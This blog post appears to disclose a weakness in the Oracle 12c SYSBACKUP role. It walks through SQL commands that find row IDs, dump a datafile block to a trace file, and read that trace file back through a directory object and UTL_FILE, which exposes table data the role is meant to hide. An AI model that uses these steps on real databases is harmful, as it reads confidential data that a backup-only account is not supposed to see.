sysbackup, be careful

oracle 12c introduced the sysbackup user to further separate roles. this should allow you to make backups without seeing the actual data. a simple test case:

SQL> create user test identified by test;

User created.

SQL> alter user test quota unlimited on PBD1;

User altered.

SQL> create table test.t1 ( a number, b varchar2(5) );

Table created.

SQL> insert into test.t1 values (1,'aaaaa');

1 row created.

SQL> insert into test.t1 values (2,'bbbbb');

1 row created.

SQL> commit;

Commit complete.

so, one table and two columns. according to the documentation I should not be able to see this data when connected as sysbackup:

oracle@localhost trace]$ sqlplus sysbackup/admin@pdb1 as SYSBACKUP

SQL*Plus: Release 12.1.0.1.0 Production on Sun Nov 24 09:47:26 2013

Copyright (c) 1982, 2013, Oracle.  All rights reserved.


Connected to:
Oracle Database 12c Enterprise Edition Release 12.1.0.1.0 - 64bit Production
With the Partitioning, OLAP, Advanced Analytics and Real Application Testing options

SQL> select * from test.t1;
select * from test.t1
                   *
ERROR at line 1:
ORA-01031: insufficient privileges
SQL> 

ok, seems to work. but wait:

SQL> select rowid from test.t1;

ROWID
------------------
AAAEseAALAAAACFAAA
AAAEseAALAAAACFAAB

SQL> select dbms_rowid.ROWID_BLOCK_NUMBER('AAAEseAALAAAACFAAA') from dual;

DBMS_ROWID.ROWID_BLOCK_NUMBER('AAAESEAALAAAACFAAA')
---------------------------------------------------
						133
SQL> select  file_id from dba_data_files where file_name like '%pdb1_01%';

   FILE_ID
----------
	11

now that I know the block- and filenumber let’s see if I may dump the block:

SQL> show user
USER is "SYSBACKUP"
SQL> alter system dump datafile 11 block 133;

System altered.

SQL> 

hmm. this is nothing you want a backup user to be able to do:

[oracle@localhost trace]$ cat orcl_ora_4748.trc
Trace file /oradata/orcl/admin/diag/rdbms/orcl/orcl/trace/orcl_ora_4748.trc
Oracle Database 12c Enterprise Edition Release 12.1.0.1.0 - 64bit Production
With the Partitioning, OLAP, Advanced Analytics and Real Application Testing options
ORACLE_HOME = /opt/oracle/product/base/12.1.0.1
System name:	Linux
Node name:	localhost.localdomain
Release:	2.6.32-358.23.2.el6.x86_64
Version:	#1 SMP Wed Oct 16 18:37:12 UTC 2013
Machine:	x86_64
Instance name: orcl
Redo thread mounted by this instance: 1
Oracle process number: 7
Unix process pid: 4748, image: oracle@localhost.localdomain


*** 2013-11-24 09:50:47.946
*** SESSION ID:(162.25) 2013-11-24 09:50:47.946
*** CLIENT ID:() 2013-11-24 09:50:47.946
*** SERVICE NAME:(pdb1) 2013-11-24 09:50:47.946
*** MODULE NAME:(sqlplus@localhost.localdomain (TNS V1-V3)) 2013-11-24 09:50:47.946
*** ACTION NAME:() 2013-11-24 09:50:47.946
*** CONTAINER ID:(3) 2013-11-24 09:50:47.946
 
Start dump data blocks tsn: 3 file#:11 minblk 133 maxblk 133
Block dump from cache:
Dump of buffer cache at level 4 for pdb=3 tsn=3 rdba=46137477
BH (0x6affa418) file#: 11 rdba: 0x02c00085 (11/133) class: 1 ba: 0x6afa2000
  set: 6 pool: 3 bsz: 8192 bsi: 0 sflg: 2 pwc: 0,0
  dbwrid: 0 obj: 19230 objn: 19230 tsn: [3/3] afn: 11 hint: f
  hash: [0x7e56ccf8,0x7e56ccf8] lru: [0x6affa648,0x6affa3c8]
  obj-flags: object_ckpt_list
  ckptq: [0x7e1aad28,0x6affb958] fileq: [0x7e1aae88,0x7e1aae88]
  objq: [0x75049b18,0x75049b18] objaq: [0x6affa680,0x6affa400]
  st: XCURRENT md: NULL fpin: 'kdswh11: kdst_fetch' fscn: 0x0.ce0cd tch: 1
  flags: buffer_dirty only_sequential_access
  LRBA: [0x26.214.0] LSCN: [0x0.ce0cd] HSCN: [0x0.ce0cd] HSUB: [1]
Block dump from disk:
buffer tsn: 3 rdba: 0x02c00085 (11/133)
scn: 0x0.c9093 seq: 0x01 flg: 0x04 tail: 0x90930601
frmt: 0x02 chkval: 0xb280 type: 0x06=trans data
Hex dump of block: st=0, typ_found=1
Dump of memory from 0x00007F6F305E6800 to 0x00007F6F305E8800
7F6F305E6800 0000A206 02C00085 000C9093 04010000  [................]
7F6F305E6810 0000B280 00000001 00004B1E 000C908F  [.........K......]
7F6F305E6820 00000000 00320002 02C00080 000E0007  [......2.........]
7F6F305E6830 0000023D 0140295E 000B0065 00000002  [=...^)@.e.......]
7F6F305E6840 00000000 00000000 00000000 00000000  [................]
        Repeat 1 times
7F6F305E6860 00000000 00020100 0016FFFF 1F6A1F80  [..............j.]
7F6F305E6870 00001F6A 1F8C0002 00001F80 00000000  [j...............]
7F6F305E6880 00000000 00000000 00000000 00000000  [................]
        Repeat 501 times
7F6F305E87E0 00000000 0202012C 620503C1 62626262  [....,......bbbbb]
7F6F305E87F0 0202012C 610502C1 61616161 90930601  [,......aaaaa....]
Block header dump:  0x02c00085
 Object id on Block? Y
 seg/obj: 0x4b1e  csc: 0x00.c908f  itc: 2  flg: E  typ: 1 - DATA
     brn: 0  bdba: 0x2c00080 ver: 0x01 opc: 0
     inc: 0  exflg: 0
 
 Itl           Xid                  Uba         Flag  Lck        Scn/Fsc
0x01   0x0007.00e.0000023d  0x0140295e.0065.0b  ----    2  fsc 0x0000.00000000
0x02   0x0000.000.00000000  0x00000000.0000.00  ----    0  fsc 0x0000.00000000
bdba: 0x02c00085
data_block_dump,data header at 0x7f6f305e6864
===============
tsiz: 0x1f98
hsiz: 0x16
pbl: 0x7f6f305e6864
     76543210
flag=--------
ntab=1
nrow=2
frre=-1
fsbo=0x16
fseo=0x1f80
avsp=0x1f6a
tosp=0x1f6a
0xe:pti[0]	nrow=2	offs=0
0x12:pri[0]	offs=0x1f8c
0x14:pri[1]	offs=0x1f80
block_row_dump:
tab 0, row 0, @0x1f8c
tl: 12 fb: --H-FL-- lb: 0x1  cc: 2
col  0: [ 2]  c1 02
col  1: [ 5]  61 61 61 61 61
tab 0, row 1, @0x1f80
tl: 12 fb: --H-FL-- lb: 0x1  cc: 2
col  0: [ 2]  c1 03
col  1: [ 5]  62 62 62 62 62
end_of_block_dump
End dump data blocks tsn: 3 file#: 11 minblk 133 maxblk 133

you might say that a sysbackup user does not need to have access to the server and therefore might not see the contents of the dumpfile:

SQL> show user
USER is "SYSBACKUP"
SQL> show parameter background

NAME				     TYPE	 VALUE
------------------------------------ ----------- ------------------------------
background_core_dump		     string	 partial
background_dump_dest		     string	 /oradata/orcl/admin/diag/rdbms
						 /orcl/orcl/trace
SQL> create or replace directory MY_DIR as '/oradata/orcl/admin/diag/rdbms/orcl/orcl/trace/';

Directory created.

set serverout on
declare
  f_in utl_file.file_type;
  s_in varchar2(10000);
  string varchar2(32000);

begin
 f_in := utl_file.fopen('MY_DIR','orcl_ora_4748.trc','R');

   loop
      begin
        utl_file.get_line(f_in,s_in);
        dbms_output.put_line (string);
        string:= string || s_in;

      end;
   end loop;
 utl_file.fclose(f_in);
end;
/

… here we go.